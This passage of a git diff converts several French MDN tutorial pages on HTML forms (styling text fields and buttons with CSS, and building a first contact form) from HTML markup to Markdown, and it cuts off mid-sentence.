l'élément {{HTMLElement("label")}} est doté de la bonne police de caractères.</p> +C'est là que nous commençons à travailler sur les éléments du formulaire eux-mêmes. Tout d'abord, assurons-nous que l'élément {{HTMLElement("label")}} est doté de la bonne police de caractères. -<pre class="brush: css">label { +```css +label { font : .8em "typewriter", sans-serif; -}</pre> +} +``` -<p>Les champs texte nécessitent quelques règles courantes. Mettons‑les simplement, nous supprimons {{cssxref("border","borders")}} et {{cssxref("background","backgrounds")}} et redéfinissons {{cssxref("padding")}} et {{cssxref("margin")}}.</p> +Les champs texte nécessitent quelques règles courantes. Mettons‑les simplement, nous supprimons {{cssxref("border","borders")}} et {{cssxref("background","backgrounds")}} et redéfinissons {{cssxref("padding")}} et {{cssxref("margin")}}. -<pre class="brush: css">input, textarea { +```css +input, textarea { font : .9em/1.5em "handwriting", sans-serif; border : none; @@ -294,28 +308,34 @@ form { width : 240px; background: none; -}</pre> +} +``` -<p>Lorsque l'un de ces champs reçoit le focus, nous le mettons en évidence avec un fond gris clair et transparent. Notez qu'il est important d'ajouter la propriété {{cssxref("outline")}} pour supprimer le focus par défaut ajouté par certains navigateurs.</p> +Lorsque l'un de ces champs reçoit le focus, nous le mettons en évidence avec un fond gris clair et transparent. Notez qu'il est important d'ajouter la propriété {{cssxref("outline")}} pour supprimer le focus par défaut ajouté par certains navigateurs. -<pre class="brush: css">input:focus, textarea:focus { +```css +input:focus, textarea:focus { background : rgba(0,0,0,.1); border-radius: 5px; outline : none; -}</pre> +} +``` -<p>Maintenant que nos champs texte sont terminés, nous devons ajuster l'affichage de ceux à une et ceux à plusieurs lignes pour qu'ils correspondent, car ils ne sont généralement pas du tout identiques par défaut.</p> +Maintenant que nos champs texte sont terminés, nous devons ajuster l'affichage de ceux à une et ceux à plusieurs lignes pour qu'ils correspondent, car ils ne sont généralement pas du tout identiques par défaut. -<p>Le champ texte à une seule ligne a besoin de quelques ajustements pour un bon rendu dans Internet Explorer. Internet Explorer ne définit pas la hauteur des champs en fonction de la hauteur naturelle de la police (qui est le comportement de tous les autres navigateurs). Pour résoudre ce problème, nous devons ajouter une hauteur explicite au champ, comme suit :</p> +Le champ texte à une seule ligne a besoin de quelques ajustements pour un bon rendu dans Internet Explorer. Internet Explorer ne définit pas la hauteur des champs en fonction de la hauteur naturelle de la police (qui est le comportement de tous les autres navigateurs). Pour résoudre ce problème, nous devons ajouter une hauteur explicite au champ, comme suit : -<pre class="brush: css">input { +```css +input { height: 2.5em; /* pour IE */ vertical-align: middle; /* optionnel mais donne meilleur aspect pour IE */ -}</pre> +} +``` -<p>Les éléments {{HTMLElement("textarea")}} sont rendus par défaut en tant qu'élément bloc. Les deux choses importantes ici sont les propriétés {{cssxref("resize")}} et {{cssxref("overflow")}}. Comme notre design est à taille fixe, nous utiliserons la propriété resize pour empêcher les utilisateurs de redimensionner le champ texte multiligne. La propriété {{cssxref("overflow")}} est utilisée pour rendre le champ plus cohérent d'un navigateur à l'autre ; certains navigateurs utilisent la valeur <code>auto</code> et d'autres la valeur par défaut pour <code>scroll</code> lorsqu'elle n'est pas précisée. Dans notre cas, il vaut mieux s'assurer que tout le monde utilise <code>auto</code>.</p> +Les éléments {{HTMLElement("textarea")}} sont rendus par défaut en tant qu'élément bloc. Les deux choses importantes ici sont les propriétés {{cssxref("resize")}} et {{cssxref("overflow")}}. Comme notre design est à taille fixe, nous utiliserons la propriété resize pour empêcher les utilisateurs de redimensionner le champ texte multiligne. La propriété {{cssxref("overflow")}} est utilisée pour rendre le champ plus cohérent d'un navigateur à l'autre ; certains navigateurs utilisent la valeur `auto` et d'autres la valeur par défaut pour `scroll` lorsqu'elle n'est pas précisée. Dans notre cas, il vaut mieux s'assurer que tout le monde utilise `auto`. -<pre class="brush: css">textarea { +```css +textarea { display : block; padding : 10px; @@ -325,11 +345,13 @@ form { resize : none; overflow: auto; -}</pre> +} +``` -<p>L'élément {{HTMLElement("button")}} est très accommodant avec les CSS ; vous faites ce que vous voulez, même en utilisant les <a href="/fr/docs/CSS/Pseudo-elements" title="/en-US/docs/CSS/Pseudo-elements">pseudo-elements</a> !</p> +L'élément {{HTMLElement("button")}} est très accommodant avec les CSS ; vous faites ce que vous voulez, même en utilisant les [pseudo-elements](/fr/docs/CSS/Pseudo-elements "/en-US/docs/CSS/Pseudo-elements") ! -<pre class="brush: css">button { +```css +button { position : absolute; left : 440px; top : 360px; @@ -351,7 +373,7 @@ form { } button:after { - content: " >>>"; + content: " >>>"; } button:hover, @@ -359,34 +381,31 @@ button:focus { outline : none; background: #000; color : #FFF; -}</pre> +} +``` -<p>Et voilà ! (en français dans le texte)</p> +Et voilà ! (en français dans le texte) -<div class="note"> -<p><strong>Note :</strong> si cet exemple ne fonctionne pas tout à fait comme vous l'attendez et que vous voulez vérifier votre version, vous la trouverez sur GitHub — voyez‑la <a href="https://mdn.github.io/learning-area/html/forms/postcard-example/">fonctionner en direct</a> (et revoyez son <a href="https://github.com/mdn/learning-area/tree/master/html/forms/postcard-example">code source</a>).</p> -</div> +> **Note :** si cet exemple ne fonctionne pas tout à fait comme vous l'attendez et que vous voulez vérifier votre version, vous la trouverez sur GitHub — voyez‑la [fonctionner en direct](https://mdn.github.io/learning-area/html/forms/postcard-example/) (et revoyez son [code source](https://github.com/mdn/learning-area/tree/master/html/forms/postcard-example)). -<h2 id="Conclusion">Conclusion</h2> +## Conclusion -<p>Comme vous pouvez le voir, tant que nous voulons construire des formulaires avec seulement des champs de texte et des boutons, il est facile de les styliser à l'aide des CSS. Si vous voulez en savoir plus sur les petites astuces des CSS qui peuvent vous faciliter la vie lorsque vous travaillez avec des widgets de formulaire, jetez un coup d'oeil à la partie formulaire du <a href="http://necolas.github.com/normalize.css">projet normalize.css</a>.</p> +Comme vous pouvez le voir, tant que nous voulons construire des formulaires avec seulement des champs de texte et des boutons, il est facile de les styliser à l'aide des CSS. Si vous voulez en savoir plus sur les petites astuces des CSS qui peuvent vous faciliter la vie lorsque vous travaillez avec des widgets de formulaire, jetez un coup d'oeil à la partie formulaire du [projet normalize.css](http://necolas.github.com/normalize.css). -<p>Dans le <a href="/fr/docs/Web/Guide/HTML/Forms/Advanced_styling_for_HTML_forms">prochain article</a>, nous verrons comment gérer les widgets des catégories « brutes » et « truands ».</p> +Dans le [prochain article](/fr/docs/Web/Guide/HTML/Forms/Advanced_styling_for_HTML_forms), nous verrons comment gérer les widgets des catégories « brutes » et « truands ». -<p>{{PreviousMenuNext("Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers", "Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms", "Web/Guide/HTML/Formulaires")}}</p> +{{PreviousMenuNext("Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers", "Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms", "Web/Guide/HTML/Formulaires")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Mon premier formulaire HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML">Comment structurer un formulaire HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">Les widgets natifs pour formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi des données de formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets personnalisés pour formulaire</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li> - <li>Mise en forme des formulaires HTML</li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></li> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Table de compatibilité des propriétés pour les widgets de formulaire</a></li> -</ul> +- [Mon premier formulaire HTML](/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML) +- [Comment structurer un formulaire HTML](/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML) +- [Les widgets natifs pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs) +- [Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires) +- [Validation des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire) +- [Comment construire des widgets personnalisés pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés) +- [Envoi de formulaires à l'aide du JavaScript](/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript) +- [Formulaires HTML dans les navigateurs anciens](/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers) +- Mise en forme des formulaires HTML +- [Mise en forme avancée des formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms) +- [Table de compatibilité des propriétés pour les widgets de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets) diff --git a/files/fr/learn/forms/your_first_form/example/index.md b/files/fr/learn/forms/your_first_form/example/index.md index d5268524e3..f261558cdc 100644 --- a/files/fr/learn/forms/your_first_form/example/index.md +++ b/files/fr/learn/forms/your_first_form/example/index.md @@ -4,41 +4,44 @@ slug: Learn/Forms/Your_first_form/Example translation_of: Learn/Forms/Your_first_form/Example original_slug: Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML/Exemple --- -<p>Ceci est l'exemple pour l'article <a href="/fr/docs/HTML/Formulaires/Mon_premier_formulaire_HTML" title="/en-US/docs/HTML/Forms/My_first_HTML_form">Mon premier formulaire HTML</a>.</p> +Ceci est l'exemple pour l'article [Mon premier formulaire HTML](/fr/docs/HTML/Formulaires/Mon_premier_formulaire_HTML "/en-US/docs/HTML/Forms/My_first_HTML_form"). -<h2 id="Un_formulaire_simple">Un formulaire simple</h2> +## Un formulaire simple -<h3 id="Contenu_HTML">Contenu HTML</h3> +### Contenu HTML -<pre class="brush: html"><form action="http://www.cs.tut.fi/cgi-bin/run/~jkorpela/echo.cgi" method="post"> - <div> - <label for="nom">Nom :</label> - <input type="text" id="nom" name="user_name"> - </div> +```html +<form action="http://www.cs.tut.fi/cgi-bin/run/~jkorpela/echo.cgi" method="post"> + <div> + <label for="nom">Nom :</label> + <input type="text" id="nom" name="user_name"> + </div> - <div> - <label for="courriel">Courriel :</label> - <input type="email" id="courriel" name="user_email"> - </div> + <div> + <label for="courriel">Courriel :</label> + <input type="email" id="courriel" name="user_email"> + </div> - <div> - <label for="message">Message :</label> - <textarea id="message" name="user_message"></textarea> - </div> + <div> + <label for="message">Message :</label> + <textarea id="message" name="user_message"></textarea> + </div> - <div class="button"> - <button type="submit">Envoyer le message</button> - </div> -</form></pre> + <div class="button"> + <button type="submit">Envoyer le message</button> + </div> +</form> +``` -<h3 id="Contenu_CSS">Contenu CSS</h3> +### Contenu CSS -<pre class="brush: css">form { - /* <code class="css comments">Pour le centrer dans la page</code> */ +```css +form { + /* Pour le centrer dans la page */ margin: 0 auto; width: 400px; - /* <code class="css comments">Pour voir les limites du formulaire</code> */ + /* Pour voir les limites du formulaire */ padding: 1em; border: 1px solid #CCC; border-radius: 1em; @@ -49,57 +52,56 @@ div + div { } label { - /* <code class="css comments">Afin de s'assurer que toutes les étiquettes aient la même dimension et soient alignées correctement</code> */ + /* Afin de s'assurer que toutes les étiquettes aient la même dimension et soient alignées correctement */ display: inline-block; width: 90px; text-align: right; } input, textarea { - /* <code class="css comments">Afin de s'assurer que tous les champs textuels utilisent la même police</code> - <code class="css comments">Par défaut, textarea utilise une police à espacement constant */</code> + /* Afin de s'assurer que tous les champs textuels utilisent la même police + Par défaut, textarea utilise une police à espacement constant */ font: 1em sans-serif; - /* <code class="css comments">Pour donner la même dimension à tous les champs textuels */</code> + /* Pour donner la même dimension à tous les champs textuels */ width: 300px; -moz-box-sizing: border-box; box-sizing: border-box; - /* <code class="css comments">Pour harmoniser l'apparence des bordures des champs textuels */</code> + /* Pour harmoniser l'apparence des bordures des champs textuels */ border: 1px solid #999; } input:focus, textarea:focus { - /* <code class="css comments">Afin de réhausser les éléments actifs */</code> + /* Afin de réhausser les éléments actifs */ border-color: #000; } textarea { - /* <code class="css comments">Pour aligner correctement les champs multilignes et leurs étiquettes */</code> + /* Pour aligner correctement les champs multilignes et leurs étiquettes */ vertical-align: top; - /* <code class="css comments">Pour donner assez d'espace pour entrer du texte */</code> + /* Pour donner assez d'espace pour entrer du texte */ height: 5em; - /* <code class="css comments">Pour permettre aux utilisateurs de redimensionner un champ textuel horizontalement</code> - <code class="css comments">Cela ne marche pas avec tous les navigateurs */</code> + /* Pour permettre aux utilisateurs de redimensionner un champ textuel horizontalement + Cela ne marche pas avec tous les navigateurs */ resize: vertical; } .button { - /* <code class="css comments">Pour positionner les boutons de la même manière que les champs textuels */</code> - padding-left: 90px; /* <code class="css comments">même dimension que les étiquettes */</code> + /* Pour positionner les boutons de la même manière que les champs textuels */ + padding-left: 90px; /* même dimension que les étiquettes */ } button { - /* <code class="css comments">Cette marge représente approximativement le même espace</code> - <code class="css comments">que celui entre les étiquettes et les champs textuels */</code> + /* Cette marge représente approximativement le même espace + que celui entre les étiquettes et les champs textuels */ margin-left: .5em; -}</pre> - -<h3 id="Résultat">Résultat</h3> +} +``` -<p>{{ EmbedLiveSample('Un_formulaire_simple', '100%', '280') }}</p> +### Résultat -<p> </p> +{{ EmbedLiveSample('Un_formulaire_simple', '100%', '280') }} diff --git a/files/fr/learn/forms/your_first_form/index.md b/files/fr/learn/forms/your_first_form/index.md index 4ee759f619..1c24397a0e 100644 --- a/files/fr/learn/forms/your_first_form/index.md +++ b/files/fr/learn/forms/your_first_form/index.md @@ -13,153 +13,160 @@ tags: translation_of: Learn/Forms/Your_first_form original_slug: Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML --- -<p>{{LearnSidebar}}{{NextMenu("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires")}}</p> +{{LearnSidebar}}{{NextMenu("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires")}} -<p>Le premier article de notre série vous offre une toute première expérience de création de formulaire en HTML, y compris sa conception, sa mise en œuvre en utilisant les bons éléments HTML, l'ajout de quelques très simples décorations avec les CSS et la façon dont les données sont envoyées à un serveur.</p> +Le premier article de notre série vous offre une toute première expérience de création de formulaire en HTML, y compris sa conception, sa mise en œuvre en utilisant les bons éléments HTML, l'ajout de quelques très simples décorations avec les CSS et la façon dont les données sont envoyées à un serveur. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Notions concernant les ordinateurs et les <a href="/fr/Apprendre/HTML/Introduction_à_HTML">connaissances de base du HTML</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Comprendre ce que sont les formulaires HTML, à quoi ils servent, comment les concevoir et quels sont les éléments de base HTML nécessaires dans les cas simples.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Notions concernant les ordinateurs et les + <a href="/fr/Apprendre/HTML/Introduction_à_HTML" + >connaissances de base du HTML</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Comprendre ce que sont les formulaires HTML, à quoi ils servent, comment + les concevoir et quels sont les éléments de base HTML nécessaires dans + les cas simples. + </td> + </tr> + </tbody> </table> -<h2 id="Un_formulaire_HTML_quest-ce">Un formulaire HTML, qu'est-ce ?</h2> +## Un formulaire HTML, qu'est-ce ? -<p>Les formulaires HTML sont un des vecteurs principaux d'interaction entre un utilisateur et un site web ou une application. Ils permettent à l'utilisateur d'envoyer des données au site web. La plupart du temps, ces données sont envoyées à des serveurs web mais la page peut aussi les intercepter et les utiliser elle-même.</p> +Les formulaires HTML sont un des vecteurs principaux d'interaction entre un utilisateur et un site web ou une application. Ils permettent à l'utilisateur d'envoyer des données au site web. La plupart du temps, ces données sont envoyées à des serveurs web mais la page peut aussi les intercepter et les utiliser elle-même. -<p>Un formulaire HTML est composé d'un ou plusieurs widgets. Ceux-ci peuvent être des zones de texte (sur une seule ligne ou plusieurs lignes), des boîtes à sélection, des boutons, des cases à cocher ou des boutons radio. La plupart du temps, ces items sont associés à un libellé qui décrit leur rôle — des étiquettes correctement implémentées sont susceptibles d'informer clairement l'utilisateur normal ou mal‑voyant sur ce qu'il convient d'entrer dans le formulaire.</p> +Un formulaire HTML est composé d'un ou plusieurs widgets. Ceux-ci peuvent être des zones de texte (sur une seule ligne ou plusieurs lignes), des boîtes à sélection, des boutons, des cases à cocher ou des boutons radio. La plupart du temps, ces items sont associés à un libellé qui décrit leur rôle — des étiquettes correctement implémentées sont susceptibles d'informer clairement l'utilisateur normal ou mal‑voyant sur ce qu'il convient d'entrer dans le formulaire. -<p>La principale différence entre un formulaire HTML et un document HTML habituel réside dans le fait que, généralement, les données collectées par le formulaire sont envoyées vers un serveur web. Dans ce cas, vous avez besoin de mettre en place un serveur web pour récupérer ces données et les traiter. La mise en place d'un tel serveur ne fait pas partie des sujets abordés dans ce guide. Si vous souhaitez toutefois en savoir plus, voyez « <a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_donn%C3%A9es_des_formulaires">Envoi des données de formulaire</a> » plus loin dans ce module.</p> +La principale différence entre un formulaire HTML et un document HTML habituel réside dans le fait que, généralement, les données collectées par le formulaire sont envoyées vers un serveur web. Dans ce cas, vous avez besoin de mettre en place un serveur web pour récupérer ces données et les traiter. La mise en place d'un tel serveur ne fait pas partie des sujets abordés dans ce guide. Si vous souhaitez toutefois en savoir plus, voyez « [Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_donn%C3%A9es_des_formulaires) » plus loin dans ce module. -<h2 id="Concevoir_le_formulaire">Concevoir le formulaire</h2> +## Concevoir le formulaire -<p>Avant de passer au code, il est souhaitable de prendre un peu de recul et accorder quelques instants de réflexion à votre formulaire. Dessiner un rapide croquis vous permettra de définir les informations que vous souhaitez demander à l'utilisateur. Du point de vue de l'expérience utilisateur, il est important de garder à l'esprit que plus vous demandez d'informations, plus vous risquez que votre utilisateur s'en aille. Restez simple et ne perdez pas votre objectif de vue : ne demandez que ce dont vous avez absolument besoin. La conception de formulaires est une phase importante de la construction d'un site internet ou d'une application. L'approche de l'expérience utilisateur de ces formulaires ne fait pas partie des objectifs de ce guide, mais si vous souhaitez approfondir ce sujet, vous pouvez lire les articles suivants :</p> +Avant de passer au code, il est souhaitable de prendre un peu de recul et accorder quelques instants de réflexion à votre formulaire. Dessiner un rapide croquis vous permettra de définir les informations que vous souhaitez demander à l'utilisateur. Du point de vue de l'expérience utilisateur, il est important de garder à l'esprit que plus vous demandez d'informations, plus vous risquez que votre utilisateur s'en aille. Restez simple et ne perdez pas votre objectif de vue : ne demandez que ce dont vous avez absolument besoin. La conception de formulaires est une phase importante de la construction d'un site internet ou d'une application. L'approche de l'expérience utilisateur de ces formulaires ne fait pas partie des objectifs de ce guide, mais si vous souhaitez approfondir ce sujet, vous pouvez lire les articles suivants : -<ul> - <li>Smashing Magazine a de très bons <a href="http://uxdesign.smashingmagazine.com/tag/forms/" rel="external">articles à propos de l'expérience utilisateur dans les formulaires</a>, mais le plus intéressant est certainement leur « <a href="http://uxdesign.smashingmagazine.com/2011/11/08/extensive-guide-web-form-usability/" rel="external">Guide complet pour des formulaires web facilement utilisables</a> ».</li> - <li>UXMatters est une ressource bien pensée avec de très bons conseils allant des <a href="http://www.uxmatters.com/mt/archives/2012/05/7-basic-best-practices-for-buttons.php" rel="external">meilleures pratiques de base</a> jusqu'à des sujets plus complexes tels que <a href="http://www.uxmatters.com/mt/archives/2010/03/pagination-in-web-forms-evaluating-the-effectiveness-of-web-forms.php">les formulaires sur plusieurs pages</a>.</li> -</ul> +- Smashing Magazine a de très bons [articles à propos de l'expérience utilisateur dans les formulaires](http://uxdesign.smashingmagazine.com/tag/forms/), mais le plus intéressant est certainement leur « [Guide complet pour des formulaires web facilement utilisables](http://uxdesign.smashingmagazine.com/2011/11/08/extensive-guide-web-form-usability/) ». +- UXMatters est une ressource bien pensée avec de très bons conseils allant des [meilleures pratiques de base](http://www.uxmatters.com/mt/archives/2012/05/7-basic-best-practices-for-buttons.php) jusqu'à des sujets plus complexes tels que [les formulaires sur plusieurs pages](http://www.uxmatters.com/mt/archives/2010/03/pagination-in-web-forms-evaluating-the-effectiveness-of-web-forms.php). -<p>Dans ce guide, nous allons concevoir un formulaire de contact simple. Posons les premières pierres.</p> +Dans ce guide, nous allons concevoir un formulaire de contact simple. Posons les premières pierres. -<p><img alt="Le croquis du formulaire que l'on veut créer" src="0006.png"></p> + -<p>Notre formulaire contiendra trois champs de texte et un bouton. Nous demandons simplement à notre utilisateur son nom, son adresse électronique et le message qu'il souhaite envoyer. En appuyant sur le bouton, le message sera envoyé au serveur web.</p> +Notre formulaire contiendra trois champs de texte et un bouton. Nous demandons simplement à notre utilisateur son nom, son adresse électronique et le message qu'il souhaite envoyer. En appuyant sur le bouton, le message sera envoyé au serveur web. -<h2 id="Apprentissage_actif_mise_en_œuvre_de_notre_formulaire_HTML"> Apprentissage actif : mise en œuvre de notre formulaire HTML</h2> +## Apprentissage actif : mise en œuvre de notre formulaire HTML -<p>Très bien, nous sommes maintenant prêts à passer au HTML et à coder notre formulaire. Pour construire notre formulaire, nous aurons besoin des éléments HTML suivants : {{HTMLElement("form")}}, {{HTMLElement("label")}}, {{HTMLElement("input")}}, {{HTMLElement("textarea")}} et {{HTMLElement("button")}}.</p> +Très bien, nous sommes maintenant prêts à passer au HTML et à coder notre formulaire. Pour construire notre formulaire, nous aurons besoin des éléments HTML suivants : {{HTMLElement("form")}}, {{HTMLElement("label")}}, {{HTMLElement("input")}}, {{HTMLElement("textarea")}} et {{HTMLElement("button")}}. -<p>Avant de poursuivre, faites une copie locale de notre <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">simple modèle HTML</a> — vous y incorporerez votre formulaire.</p> +Avant de poursuivre, faites une copie locale de notre [simple modèle HTML](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html) — vous y incorporerez votre formulaire. -<h3 id="Lélément_HTMLElementform">L'élément {{HTMLElement("form")}}</h3> +### L'élément {{HTMLElement("form")}} -<p>Tous les formulaires HTML débutent par un élément {{HTMLElement("form")}} comme celui-ci :</p> +Tous les formulaires HTML débutent par un élément {{HTMLElement("form")}} comme celui-ci : -<pre class="brush:html;"><form action="/my-handling-form-page" method="post"> +```html +<form action="/my-handling-form-page" method="post"> -</form></pre> +</form> +``` -<p>Cet élément définit un formulaire. C'est un élément conteneur au même titre que les éléments {{HTMLElement("div")}} ou {{HTMLElement("p")}}, mais il accepte aussi quelques attributs spécifiques afin de contrôler la manière dont il se comporte. Tous ses attributs sont optionnels mais définir au moins les attributs <code>action</code> et <code>method</code> est considéré comme de bonne pratique.</p> +Cet élément définit un formulaire. C'est un élément conteneur au même titre que les éléments {{HTMLElement("div")}} ou {{HTMLElement("p")}}, mais il accepte aussi quelques attributs spécifiques afin de contrôler la manière dont il se comporte. Tous ses attributs sont optionnels mais définir au moins les attributs `action` et `method` est considéré comme de bonne pratique. -<ul> - <li>L'attribut <code>action</code> définit l'emplacement (une URL) où doivent être envoyées les données collectées par le formulaire.</li> - <li>L'attribut <code>method</code> définit la méthode HTTP utilisée pour envoyer les données (cela peut être « get » ou « post »).</li> -</ul> +- L'attribut `action` définit l'emplacement (une URL) où doivent être envoyées les données collectées par le formulaire. +- L'attribut `method` définit la méthode HTTP utilisée pour envoyer les données (cela peut être « get » ou « post »). -<div class="note"> -<p><strong>Note :</strong> Si vous souhaitez en savoir plus sur le fonctionnement de ces attributs, cela est détaillé dans l'article <a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_donn%C3%A9es_des_formulaires">« Envoi des données de formulaire</a> ».</p> -</div> +> **Note :** Si vous souhaitez en savoir plus sur le fonctionnement de ces attributs, cela est détaillé dans l'article [« Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_donn%C3%A9es_des_formulaires) ». -<p>Pour le moment, ajoutez l'élément {{htmlelement("form")}} ci dessus dans le corps de votre HTML.</p> +Pour le moment, ajoutez l'élément {{htmlelement("form")}} ci dessus dans le corps de votre HTML. -<h3 id="Les_éléments_HTMLElementlabel_HTMLElementinput_et_HTMLElementtextarea">Les éléments {{HTMLElement("label")}}, {{HTMLElement("input")}} et {{HTMLElement("textarea")}}</h3> +### Les éléments {{HTMLElement("label")}}, {{HTMLElement("input")}} et {{HTMLElement("textarea")}} -<p>Notre formulaire de contact est très simple et ne contient que trois champs de texte, chacun ayant une étiquette. Le champ d'entrée pour le nom est un champ de texte sur une seule ligne, le champ pour l'adresse électronique est un champ de texte sur une ligne qui n'accepte que des adresses électroniques et enfin le champ pour le message est un champ de texte sur plusieurs lignes.</p> +Notre formulaire de contact est très simple et ne contient que trois champs de texte, chacun ayant une étiquette. Le champ d'entrée pour le nom est un champ de texte sur une seule ligne, le champ pour l'adresse électronique est un champ de texte sur une ligne qui n'accepte que des adresses électroniques et enfin le champ pour le message est un champ de texte sur plusieurs lignes. -<p>En terme de code HTML, nous avons besoin de quelque chose qui ressemble à ceci pour mettre en œuvre nos widgets de formulaire.</p> +En terme de code HTML, nous avons besoin de quelque chose qui ressemble à ceci pour mettre en œuvre nos widgets de formulaire. -<pre class="brush:html;"><form action="/ma-page-de-traitement" method="post"> - <div> - <label for="name">Nom :</label> - <input type="text" id="name" name="user_name"> - </div> - <div> - <label for="mail">e-mail :</label> - <input type="email" id="mail" name="user_mail"> - </div> - <div> - <label for="msg">Message :</label> - <textarea id="msg" name="user_message"></textarea> - </div> -</form></pre> +```html +<form action="/ma-page-de-traitement" method="post"> + <div> + <label for="name">Nom :</label> + <input type="text" id="name" name="user_name"> + </div> + <div> + <label for="mail">e-mail :</label> + <input type="email" id="mail" name="user_mail"> + </div> + <div> + <label for="msg">Message :</label> + <textarea id="msg" name="user_message"></textarea> + </div> +</form> +``` -<p>Les éléments {{HTMLElement("div")}} sont ici pour structurer notre code et rendre la mise en page plus facile (voir ci-dessous). Veuillez noter l'utilisation de l'attribut <code>for</code> sur tous les éléments {{HTMLElement("label")}}. C'est une manière formelle de lier un libellé à un élément du formulaire. Cet attribut fait référence à l'<code>id</code> de l'élément correspondant. Il y a plusieurs avantages à faire ainsi. Le plus évident de permettre à l'utilisateur de cliquer sur l'étiquette pour activer le bloc correspondant. Si vous souhaitez mieux comprendre les bénéfices de cet attribut, tout est détaillé dans cet article : <a href="/fr/docs/HTML/Formulaires/Comment_structurer_un_formulaire_HTML">Comment structurer un formulaire HTML</a>.</p> +Les éléments {{HTMLElement("div")}} sont ici pour structurer notre code et rendre la mise en page plus facile (voir ci-dessous). Veuillez noter l'utilisation de l'attribut `for` sur tous les éléments {{HTMLElement("label")}}. C'est une manière formelle de lier un libellé à un élément du formulaire. Cet attribut fait référence à l'`id` de l'élément correspondant. Il y a plusieurs avantages à faire ainsi. Le plus évident de permettre à l'utilisateur de cliquer sur l'étiquette pour activer le bloc correspondant. Si vous souhaitez mieux comprendre les bénéfices de cet attribut, tout est détaillé dans cet article : [Comment structurer un formulaire HTML](/fr/docs/HTML/Formulaires/Comment_structurer_un_formulaire_HTML). -<p>Concernant l'élément {{HTMLElement("input")}}, l'attribut le plus important est l'attribut <code>type</code>. Ce dernier est extrêmement important puisqu'il définit le comportement de l'élément {{HTMLElement("input")}}. Il peut radicalement changer le sens de l'élément, faites-y attention. Si vous voulez en savoir plus à ce propos, vous pouvez lire l'article au sujet des <a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">widgets natifs pour formulaire</a>.</p> +Concernant l'élément {{HTMLElement("input")}}, l'attribut le plus important est l'attribut `type`. Ce dernier est extrêmement important puisqu'il définit le comportement de l'élément {{HTMLElement("input")}}. Il peut radicalement changer le sens de l'élément, faites-y attention. Si vous voulez en savoir plus à ce propos, vous pouvez lire l'article au sujet des [widgets natifs pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs). -<ul> - <li>Dans notre exemple nous n'utilisons que la valeur <code>text</code> — qui est la valeur par défaut de cet attribut et représente un champ de texte basique sur une seule ligne acceptant n'importe quel type de texte.</li> - <li>Pour la deuxième entrée, nous utilisons la valeur <code>email</code> qui définit un champ de texte sur une seule ligne n'acceptant que des adresses électroniques valides. Cette dernière valeur transforme un champ basique en une sorte de champ « intelligent » qui réalise des vérifications sur les données fournies par l'utilisateur. Vous trouverez plus de détails sur la validation des formulaires dans l'article <a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a>.</li> -</ul> +- Dans notre exemple nous n'utilisons que la valeur `text` — qui est la valeur par défaut de cet attribut et représente un champ de texte basique sur une seule ligne acceptant n'importe quel type de texte. +- Pour la deuxième entrée, nous utilisons la valeur 